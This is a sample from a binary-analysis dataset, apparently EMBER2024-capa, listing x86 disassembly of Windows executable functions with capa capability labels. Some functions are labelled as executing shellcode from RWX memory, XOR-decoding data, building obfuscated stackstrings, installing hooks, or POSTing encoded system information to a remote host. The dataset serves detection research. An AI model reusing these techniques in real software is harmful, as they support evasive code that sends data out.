joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebp
mov ebp, dword [eax + 4]
mov eax, dword [eax]
movzx ecx, word [eax + 0x14]
xor edx, edx
lea ecx, [ecx + eax + 0x18]
mov dword [esp + 4], 0
cmp dx, word [eax + 6]
jae 0x4010c5
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push edi
lea esi, [ecx + 0x10]
mov ecx, dword [esi]
test ecx, ecx
jne 0x40106e
mov eax, dword [esp + 0x1c]
mov edi, dword [eax + 0x38]
test edi, edi
jle 0x4010a4
mov eax, dword [esi - 4]
add eax, ebp
cmp dword [0x5dff30], ecx
je 0x401055
test eax, eax
jne 0x401060
push 4
push 0x1000
push edi
push eax
call ebx
push edi
push 0
push eax
mov dword [esi - 8], eax
call fcn.00410d00
jmp 0x4010a1
mov eax, dword [esi - 4]
add eax, ebp
cmp dword [0x5dff30], 0
je 0x401080
test eax, eax
jne 0x40108b
push 4
push 0x1000
push ecx
push eax
call ebx
mov edx, dword [esi + 4]
mov ecx, dword [esi]
add edx, dword [esp + 0x18]
push ecx
mov edi, eax
push edx
push edi
call fcn.0040cb60
mov dword [esi - 8], edi
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov edx, dword [ecx]
mov eax, dword [esp + 0x10]
movzx ecx, word [edx + 6]
inc eax
add esi, 0x28
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x401033
pop edi
pop esi
pop ebx
pop ebp
pop ecx
ret

Function at 0x4010d0
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
mov ebx, dword [eax]
movzx ecx, word [ebx + 0x14]
push ebp
xor edx, edx
xor ebp, ebp
lea eax, [ecx + ebx + 0x18]
cmp dx, word [ebx + 6]
jae 0x401199
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x401130
cmp dword [0x5dff30], 0
jne 0x401181
mov eax, dword [edi - 0x14]
mov ecx, dword [edi - 0x1c]
push 0x4000
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x401181
test ecx, ecx
jne 0x401139
mov esi, 1
lea edx, [edx + ecx*2]
lea ecx, [esi + edx*2]
mov esi, dword [ecx*4 + 0x5df19c]
test eax, 0x4000000
je 0x401153
or esi, 0x200
mov edx, dword [edi - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x40116e
test al, 0x40
je 0x401165
mov ecx, dword [ebx + 0x20]
jmp 0x40116c
test al, al
jns 0x401181
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x401181
mov ecx, dword [edi - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
mov ebx, dword [edx]
movzx eax, word [ebx + 6]
inc ebp
add edi, 0x28
cmp ebp, eax
jl 0x4010f4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x401410
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, dword [0x5dff28]
sub esp, 0x100
test eax, eax
jne 0x4014b4
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor esi, esi
lea ecx, [ecx]
push 1
push 0x2000
push 1
push 0
call edi
or dword [0x5dff28], eax
mov dword [esp + esi*4 + 8], eax
inc esi
cmp esi, 0x40
jl 0x401430
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
mov eax, dword [esp + esi*4 + 8]
push 0x8000
push 1
push eax
call edi
inc esi
cmp esi, 0x40
jl 0x401455
mov eax, dword [0x5dff28]
xor ecx, ecx
mov edx, 1
shl edx, cl
test eax, edx
jne 0x401483
inc ecx
cmp ecx, 0x20
jl 0x401470
jmp 0x4014a4
mov edx, 1
rol edx, cl
cmp ecx, 0x20
jge 0x4014a4
mov esi, 0x20
sub esi, ecx
or eax, edx
rol edx, 1
sub esi, 1
jne 0x401496
mov dword [0x5dff28], eax
pop edi
pop esi
test eax, eax
jne 0x4014b4
mov eax, 0x10000
mov dword [0x5dff28], eax
add esp, 0x100
ret
Function at 0x402f20
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x2c
xor eax, eax
push esi
push edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
lea eax, [esp + 0x10]
push eax
mov esi, 1
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov eax, dword [esp + 8]
cmp eax, dword [esp + 0xc]
jne 0x402fad
cmp eax, dword [esp + 0x20]
jne 0x402fad
cmp eax, esi
jb 0x402f8f
add esi, esi
inc edi
cmp esi, eax
jbe 0x402f88
cmp dword [esp + 0x24], edi
jne 0x402fad
cmp dword [esp + 0x3c], 0
je 0x402fa2
cmp dword [esp + 0x38], edi
jne 0x402fad
pop edi
mov eax, 1
pop esi
add esp, 0x2c
ret
pop edi
xor eax, eax
pop esi
add esp, 0x2c
ret

Function at 0x403ef0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [0x5f6394]
test edi, edi
je 0x403f31
cmp edi, esi
jae 0x403f09
mov esi, edi
test esi, esi
je 0x403f31
mov eax, dword [ebp + 0xc]
mov ebx, dword [0x5f6398]
push esi
push eax
push ebx
call fcn.0040cb60
sub edi, esi
add esp, 0xc
add ebx, esi
mov dword [0x5f6394], edi
mov dword [0x5f6398], ebx
mov ecx, dword [ebp + 0x10]
jcxz 0x403f54
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
lodsb al, byte [esi]
xor al, bl
and eax, 0xff
shr ebx, 8
xor ebx, dword [eax*4 + 0x5f63a0]
loop 0x403f3d
mov dword [ebp + 8], ebx
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x408ce0
Capabilities:
Encode data using xor

Disassembly:
movzx eax, word [0x41a218]
cmp eax, 0x4b50
je 0x408d1c
mov ecx, 0xc21a5ce5
xor eax, eax
jmp 0x408d00
xor dword [eax + 0x41a218], ecx
add ecx, 0xcb714b84
add eax, 4
xor ecx, 0x8cd5354f
cmp eax, 0x1c4124
jb 0x408d00
movzx ecx, word [0x41a218]
cmp ecx, 0x4b50
je 0x408d2e
xor eax, eax
ret
mov edx, dword [esp + 4]
mov dword [edx], 0x1c4124
mov eax, 0x41a218
ret
Function at 0x409cf0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x410
mov eax, dword [0x419060]
xor eax, esp
mov dword [esp + 0x40c], eax
push ebp
push esi
push edi
push 0x10
mov esi, ecx
xor ebp, ebp
push 1
push esi
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x18], ebp
mov dword [esp + 0x20], ebp
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
cmp edi, ebp
je 0x409d8e
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
cmp esi, ebp
je 0x409d8d
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebp
je 0x409d86
cmp ebx, 0x34
jbe 0x409d86
mov ecx, 0x34
sub ecx, eax
cmp dword [eax], 0xfeef04bd
je 0x409d6a
inc eax
lea edx, [ecx + eax]
cmp edx, ebx
jb 0x409d58
jmp 0x409d86
movzx ecx, word [eax + 8]
movzx edx, word [eax + 0xe]
movzx ebp, word [eax + 0xa]
movzx eax, word [eax + 0xc]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebx
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push ecx
push edx
push eax
push ebp
lea ecx, [esp + 0x28]
push str.UZC_version__i._i._i._i_r_n
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x30]
add esp, 0x18
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409db8
mov ecx, dword [0x5fa890]
sub eax, edx
lea esi, [ecx + eax]
cmp esi, 0x4000
jae 0x409def
push eax
lea edx, [esp + 0x1c]
push edx
lea eax, [ecx + 0x5f67a0]
push eax
call fcn.0040cb60
mov ecx, esi
add esp, 0xc
mov dword [0x5fa890], ecx
lea eax, [ecx + 9]
cmp eax, 0x4000
jae 0x409e22
mov edx, dword [str.Windows:]
mov dword [ecx + 0x5f67a0], edx
mov edx, dword [0x417724]
mov dword [ecx + 0x5f67a4], edx
mov dl, byte [0x417728]
mov byte [ecx + 0x5f67a8], dl
mov dword [0x5fa890], eax
lea eax, [esp + 0x18]
push eax
call fcn.00409040
lea eax, [esp + 0x1c]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409e36
mov ecx, dword [0x5fa890]
sub eax, edx
lea esi, [ecx + eax]
cmp esi, 0x4000
jae 0x409e6d
push eax
lea edx, [esp + 0x1c]
push edx
lea eax, [ecx + 0x5f67a0]
push eax
call fcn.0040cb60
mov ecx, esi
add esp, 0xc
mov dword [0x5fa890], ecx
pop edi
lea eax, [ecx + 2]
pop esi
pop ebp
cmp eax, 0x4000
jae 0x409e8d
mov dx, word [0x41772c]
mov word [ecx + 0x5f67a0], dx
mov dword [0x5fa890], eax
mov ecx, dword [esp + 0x40c]
xor ecx, esp
call fcn.0040b281
add esp, 0x410
ret
Function at 0x40a070
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Send data
Send http request

Disassembly:
sub esp, 0x21c
mov eax, dword [0x419060]
xor eax, esp
mov dword [esp + 0x218], eax
push ebx
push ebp
push esi
mov esi, str.query
push edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x40a090
mov eax, dword [0x5fa890]
sub esi, ecx
lea ecx, [esi + eax*2]
lea edx, [eax + ecx + 7]
push edx
call fcn.0040ba6c
push esi
mov edi, eax
push str.query
push edi
call fcn.0040cb60
mov ebp, dword [0x5fa890]
add esp, 0x10
xor ecx, ecx
test ebp, ebp
jle 0x40a0fb
mov al, cl
add al, 3
mov dl, 0x21
imul dl
xor al, byte [ecx + 0x5f67a0]
inc esi
movzx eax, al
mov edx, eax
shr edx, 4
mov dl, byte [edx + str.0123456789ABCDEF]
mov byte [edi + esi - 1], dl
and eax, 0xf
mov al, byte [eax + str.0123456789ABCDEF]
mov byte [edi + esi], al
inc ecx
inc esi
cmp ecx, ebp
jl 0x40a0c8
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push str.A10ABAA0_EF22_4957_8A97_0F041695D059
mov dword [esp + 0x24], ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
mov dword [esp + 0x20], ebp
test ebp, ebp
je 0x40a222
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push str.vdgsoftware.com
push ebp
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
test ebx, ebx
je 0x40a215
push 0
push 0x84080300
push 0
push 0
push 0
push str._crash341.php
push str.POST
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, eax
test ebp, ebp
je 0x40a20a
push esi
push edi
push 0xffffffffffffffff
push str.Content_Type:_application_x_www_form_urlencoded__charsetascii_r_nContent_Transfer_Encoding:_8bit
push ebp
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x40a203
push 0
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x20]
push edx
push 0x20000013
push ebp
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
mov eax, 0x51eb851f
mul dword [esp + 0x18]
shr edx, 5
cmp edx, 2
jne 0x40a203
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [esp + 0x14]
push eax
push 0x200
lea ecx, [esp + 0x2c]
push ecx
push ebp
mov dword [esp + 0x20], 1
call esi
test eax, eax
je 0x40a203
lea esp, [esp]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40a203
lea edx, [esp + 0x14]
push edx
mov byte [esp + eax + 0x28], 0
push 0x200
lea eax, [esp + 0x2c]
push eax
push ebp
call esi
test eax, eax
jne 0x40a1e0
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebp, dword [esp + 0x20]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 0x10]
jmp 0x40a224
mov eax, ebx
mov ecx, dword [esp + 0x228]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040b281
add esp, 0x21c
ret
Function at 0x40b060
Capabilities:
Allocate thread local storage
Contain obfuscated stackstrings
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x154
mov eax, dword [0x419060]
xor eax, esp
mov dword [esp + 0x150], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov dword [esp + 0xc], eax
mov dword [0x5fa7a0], ecx
call fcn.00409cf0
push 0x40aed0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea esi, [esp + 0x30]
mov dword [0x5f639c], 0x408ed0
call fcn.00403c30
xor ebx, ebx
cmp dword [esp + 0x30], ebx
je 0x40b0bd
mov ebx, 1
cmp dword [esp + 0x34], 0
je 0x40b0c7
or ebx, 2
cmp dword [esp + 0x38], 0
je 0x40b0d1
or ebx, 4
cmp dword [esp + 0x3c], 0
je 0x40b0db
or ebx, 8
cmp dword [esp + 0x40], 0
je 0x40b0ec
cmp dword [esp + 0x48], 1
jle 0x40b0ec
or ebx, 0x10
lea edi, [esp + 0x30]
call fcn.00409eb0
lea ecx, [esp + 0x10]
push ecx
mov dword [esp + 0x14], 8
mov dword [esp + 0x18], 0xffff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push 0x419f60
mov byte [esp + 0x15e], 0
mov byte [esp + 0x154], 0x57
mov byte [esp + 0x155], 0x6d
mov byte [esp + 0x156], 0x74
mov byte [esp + 0x157], 0x76
mov byte [esp + 0x158], 0x4f
mov byte [esp + 0x159], 0x33
mov byte [esp + 0x15a], 0x4d
mov byte [esp + 0x15b], 0x49
mov byte [esp + 0x15c], 0x7a
mov byte [esp + 0x15d], 0x6b
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [esp + 0x18], 0x417ac8
mov dword [esp + 0x1c], 0x417adc
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0x408e80
mov dword [esp + 0x28], 0x408eb0
mov dword [esp + 0x2c], 0x408ef0
call fcn.00408d40
mov edi, dword [sym.imp.KERNEL32.dll_RaiseException]
test eax, eax
jne 0x40b202
lea edx, [esp + 0xc]
mov dword [esp + 0xc], str.Initialization_error_1
push edx
push 1
push 1
push 0x20555a43
call edi
lea eax, [esp + 0xc]
push eax
push 1
push 1
push 0x20555a43
mov dword [esp + 0x1c], str.Initialization_error_3
call edi
mov ecx, dword [esp + 0x15c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040b281
mov esp, ebp
pop ebp
ret 0x10
push 0x6fa8a0
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x20]
push edx
push eax
mov dword [0x5fa7a4], eax
call fcn.004014c0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40b251
push esi
call fcn.00408cd0
lea eax, [esp + 0x154]
add esp, 4
push eax
mov ecx, esi
call fcn.004017a0
add esp, 4
test eax, eax
je 0x40b1d1
mov edx, dword [esp + 0xc]
push ebx
push edx
call eax
add esp, 8
jmp 0x40b1e9
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], str.Initialization_error_2
push ecx
jmp 0x40b1c6

Function at 0x40b281
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x419060]
jne 0x40b28b
repz ret
jmp fcn.0040bcec
Function at 0x411be1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040dc32
and dword [ebp - 4], 0
cmp dword [0x5dfe5c], 0
mov ebx, eax
jne 0x411c92
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x411d43
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x416b04
push edi
call esi
test eax, eax
je 0x411d43
push eax
call fcn.0040dbc0
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x5dfe5c], eax
call esi
push eax
call fcn.0040dbc0
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x5dfe60], eax
call esi
push eax
call fcn.0040dbc0
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x5dfe64], eax
call esi
push eax
call fcn.0040dbc0
pop ecx
mov dword [0x5dfe6c], eax
test eax, eax
je 0x411c92
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040dbc0
pop ecx
mov dword [0x5dfe68], eax
mov eax, dword [0x5dfe68]
cmp eax, ebx
je 0x411cea
cmp dword [0x5dfe6c], ebx
je 0x411cea
push eax
call fcn.0040dc3b
push dword [0x5dfe6c]
mov esi, eax
call fcn.0040dc3b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x411cea
test edi, edi
je 0x411cea
call esi
test eax, eax
je 0x411ce1
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x411ce1
test byte [ebp - 0xc], 1
jne 0x411cea
or dword [ebp + 0x10], 0x200000
jmp 0x411d23
mov eax, dword [0x5dfe60]
cmp eax, ebx
je 0x411d23
push eax
call fcn.0040dc3b
pop ecx
test eax, eax
je 0x411d23
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x411d23
mov eax, dword [0x5dfe64]
cmp eax, ebx
je 0x411d23
push eax
call fcn.0040dc3b
pop ecx
test eax, eax
je 0x411d23
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x5dfe5c]
call fcn.0040dc3b
pop ecx
test eax, eax
je 0x411d43
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x411d45
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401040
Capabilities:
Check mutex on windows
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x423680]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00401230
cmp dword [ebp + 8], 2
jl 0x401079
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
cmp word [eax], 0x74
jne 0x401079
mov eax, dword [0x424010]
or eax, 8
mov dword [0x424010], eax
jmp 0x40107e
mov eax, dword [0x424010]
test al, 8
jne 0x4010fb
push 0x80
lea eax, [ebp - 0x84]
push 0
push eax
call fcn.00406780
push str.dwcnts_x86
push str._s5786
push 0x3f
lea eax, [ebp - 0x84]
push 0x40
push eax
call fcn.004034d0
add esp, 0x20
lea eax, [ebp - 0x84]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x424008], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4010fb
push dword [0x424008]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x424008], 0
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004056d3
mov esp, ebp
pop ebp
ret
push pe_nt_image_headers32
push 0x424018
push str.dwcnts.ini
push str.dwcnt
call fcn.004023b0
push 0x5c
push 0x424018
call fcn.004066d9
add esp, 0x18
test eax, eax
je 0x401143
push str.dwcnt.ini
xor ecx, ecx
push 0x103
push 0x424018
mov word [eax], cx
call fcn.00408d5d
add esp, 0xc
call fcn.00401530
push 0
call fcn.00403300
push str.dwcnt
push 1
call fcn.004030e0
push 1
call fcn.00402e40
push 1
call fcn.00403340
add esp, 0x14
call fcn.00401c70
test byte [0x424010], 8
jne 0x40117f
call fcn.00401f60
call fcn.00401e70
mov eax, dword [0x424010]
test al, 8
jne 0x4011c8
push 0
push 0
push 0
push 0x401020
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x42400c], eax
mov eax, dword [0x424010]
test al, 1
jne 0x4011c8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xc8
call esi
mov eax, dword [0x424010]
test al, 1
je 0x4011b7
pop esi
push dword [0x42400c]
or eax, 1
mov dword [0x424010], eax
call fcn.004026b0
add esp, 4
test eax, eax
je 0x4011fc
push 0
push dword [0x42400c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [0x42400c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00401500
call fcn.00401f40
mov eax, dword [0x424010]
mov ecx, dword [ebp - 4]
and al, 8
movzx eax, al
neg eax
sbb eax, eax
xor ecx, ebp
and eax, 0x169a
call fcn.004056d3
mov esp, ebp
pop ebp
ret
Function at 0x401e70
Capabilities:
Create thread

Disassembly:
cmp dword [0x424260], 0
je 0x401f34
push 0xfa
push 0x424264
call fcn.00402340
push 0x41b374
push pe_nt_image_headers32
push 0x424264
call fcn.00408d5d
push 0x41b378
push pe_nt_image_headers32
push 0x424264
call fcn.00408d5d
add esp, 0x20
push 0
push 0
push 0
push 0x401250
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x42423c], eax
test eax, eax
jne 0x401eea
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.create_pipe_work_thread_failed:__d
push 0
push 0x107
jmp 0x401f1b
push 0
push 0
push 0
push 0x4012f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x424238], eax
test eax, eax
jne 0x401f34
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.create_pipe_thread_failed:__d
push 0
push 0x10e
push str.dwsys_pipe_start
push str.F:WorkSpacemsoft_v2msoftdwcntsdwsys.cpp
push str.dwcnts_x86
push 1
call fcn.004031b0
add esp, 0x20
ret

Function at 0x401f60
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x423680]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00406780
add esp, 0xc
cmp dword [0x424224], 0
jne 0x4020ad
call fcn.004020c0
mov dword [0x424014], eax
cmp eax, 3
jb 0x401fbf
or dword [0x424010], 0x10
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004056d3
mov esp, ebp
pop ebp
ret
push 0x424018
push 0
push str.UnVmhk
push str.dwcnt
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
xor ecx, ecx
cmp eax, 0x169a
lea eax, [ebp - 0x20c]
sete cl
push 0xfa
push eax
mov dword [0x424234], ecx
call fcn.00402340
push 0x41b374
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00408d5d
push 0x41b378
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00408d5d
add esp, 0x20
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x424224], eax
test eax, eax
jne 0x402075
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.load_VmHk_failed:_d
push 0
push 0x43
push str.dwsys_start
push str.F:WorkSpacemsoft_v2msoftdwcntsdwsys.cpp
push str.dwcnts_x86
push 1
call fcn.004031b0
add esp, 0x20
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004056d3
mov esp, ebp
pop ebp
ret
push str.HkInstallHook
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x424228], eax
test eax, eax
je 0x402097
cmp dword [0x424234], 0
jne 0x402097
push 0
call eax
push str.HkUninstallHook
push dword [0x424224]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x42422c], eax
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.004056d3
mov esp, ebp
pop ebp
ret
Function at 0x402190
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
mov eax, dword [0x423680]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x460], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x464], eax
test ebx, ebx
je 0x402324
push esi
push edi
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00406780
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0
push 0x23
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str.Jimao
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004033a0
add esp, 0xc
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
cmp eax, 0xffffffff
je 0x40223a
test eax, eax
je 0x40223a
push eax
call edi
test byte [ebp - 0x45c], 0x10
jne 0x402245
push 0
lea eax, [ebp - 0x20c]
push eax
call esi
cmp dword [ebp - 0x460], 0
je 0x4022b2
push 0x41b374
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004033a0
push dword [ebp - 0x460]
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004033a0
add esp, 0x18
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x4022a7
test eax, eax
je 0x4022a7
push eax
call edi
test byte [ebp - 0x45c], 0x10
jne 0x4022b2
push 0
lea eax, [ebp - 0x20c]
push eax
call esi
push str.cfg
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004033a0
add esp, 0xc
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x4022f4
test eax, eax
je 0x4022f4
push eax
call edi
test byte [ebp - 0x45c], 0x10
jne 0x4022ff
push 0
lea eax, [ebp - 0x20c]
push eax
call esi
mov ecx, dword [ebp + 0x14]
lea eax, [ebp - 0x20c]
push ebx
push eax
push str._s_s
lea eax, [ecx - 1]
push eax
push ecx
push dword [ebp - 0x464]
call fcn.004034d0
add esp, 0x18
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop ebx
call fcn.004056d3
mov esp, ebp
pop ebp
ret